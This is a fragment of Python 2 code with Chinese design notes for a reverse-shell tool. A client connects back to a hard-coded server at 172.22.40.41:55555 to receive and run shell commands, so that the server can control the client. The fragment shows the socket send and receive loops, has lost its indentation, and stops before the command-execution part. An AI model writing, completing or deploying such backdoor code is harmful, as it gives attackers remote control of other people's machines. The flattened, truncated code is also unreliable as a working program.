构思:
client:反向连接server,执行shell命令
server:发送命令,控制客户端
import subprocess
import socket
import threading
target="172.22.40.41"
port=55555
buffer=""
def sendMag(c_socket):
global buffer
while True:
#send cmd
if len(buffer):
try:
print "c_buffer>>>>", buffer
c_socket.send(buffer)
except:
print "socket send error"
print buffer
buffer=""
def getMag(client_socket):
global buffer
while True:
resc=""
len_resc=1
while len_resc:
datas=client_socket.recv(4096)
len_resc=len(datas)
resc+=datas